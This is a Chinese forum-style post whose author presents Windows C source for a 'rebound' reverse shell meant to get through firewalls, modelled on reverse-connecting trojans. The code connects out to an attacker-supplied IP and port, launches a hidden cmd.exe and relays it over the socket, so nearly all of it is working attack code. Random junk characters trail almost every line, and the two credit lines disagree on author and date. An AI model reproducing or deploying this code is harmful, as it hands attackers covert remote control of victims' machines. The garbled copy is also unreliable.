这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -:95ypi
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/* ============================== vf zC2
Rebound port in Windows NT =;+gge!?bB
By wind,2006/7 O|S,="h"}
===============================*/ L(bDk'zi
#include O:sqm
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#include ]
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#pragma comment(lib,"wsock32.lib") d5NE:%K
sj4\lpZ3h
void OutputShell(); L pq)TE#
SOCKET sClient; `*cqT
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; w[F})u]E
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void main(int argc,char **argv) O}%ES AB
{ s>:gL,%c
WSADATA stWsaData; /Yb8= eM
int nRet; tmOy"mq67
SOCKADDR_IN stSaiClient,stSaiServer; !KJA)znx;(
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if(argc != 3) }]H7uC!t
{ TE;f*!
printf("Useage:\n\rRebound DestIP DestPort\n"); KTt+}-vP^
return; L@z[b^
} i6P}MtC1
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WSAStartup(MAKEWORD(2,2),&stWsaData); IqV" 4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -8l(eDm"m
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stSaiClient.sin_family = AF_INET; sZ~03QvkT
stSaiClient.sin_port = htons(0); |||m5(`S
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^mjU3q{;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7TEpjSuF
{ @`)>-k
printf("Bind Socket Failed!\n"); %f'=9pit
return; Xq
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} jI'?7@32`
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stSaiServer.sin_family = AF_INET; H\V?QDn
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?A;RTM
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); O:8
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h<)ceD<,
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qE3Ud:j
{ ]zVQL_%,
printf("Connect Error!"); .?rs5[th*
return; oQrfrA&=M
} ]]_5_)"4
OutputShell(); ZnJJ-zP
} 1) K<x
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void OutputShell() T[^&ZS]s
{ EcX7wrl9x
char szBuff[1024]; 34X]b[^
SECURITY_ATTRIBUTES stSecurityAttributes; jygUf|
OSVERSIONINFO stOsversionInfo; EZ{{p+e^
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; 9od c :
char *szShell; N<@K(?'
PROCESS_INFORMATION stProcessInformation; `q\F C[W
unsigned long lBytesRead; x1Y/^ks@2
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4[#)p}V
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0LXu!iix
stSecurityAttributes.lpSecurityDescriptor = 0; (SQGl!Lai0
stSecurityAttributes.bInheritHandle = TRUE;
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n:B){'S
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); g33Y$Xdk
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :R=7dH~r
I
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Du
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "=+i~N#Sc
stStartupInfo.wShowWindow = SW_HIDE; K|\0jd)N
stStartupInfo.hStdInput = hReadPipe; n^$Q^[:Z
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; </
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GetVersionEx(&stOsversionInfo); @=Pc{xp
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switch(stOsversionInfo.dwPlatformId) .SmG) 5U]
{ 88<d<)7t
case 1: yPT o,,ca=
szShell = "command.com"; 5D=U.UdR
break; ]@cI _n
default: ZvQZD=,F
szShell = "cmd.exe"; r_ +!3
break; uH?4d!G
} #g@4c3um|
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <,it<$f#
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send(sClient,szMsg,77,0); _-H,S)kI`
while(1) Vt \g9-[
{ 9{geU9&Z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); sr[[xzL
if(lBytesRead) ?D7zty+}^
{ q)o;iR
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); x4>"m(&%
send(sClient,szBuff,lBytesRead,0); -6WSYpHV
} AxH`4=3<
else BMQ4i&kF|
{ J=8Y D"1
lBytesRead=recv(sClient,szBuff,1024,0); z>0$SBQ-
if(lBytesRead<=0) break; cZ
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _1O .{O
} qhG2j;
} mJd8?d
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return; yMM2us#*+q
}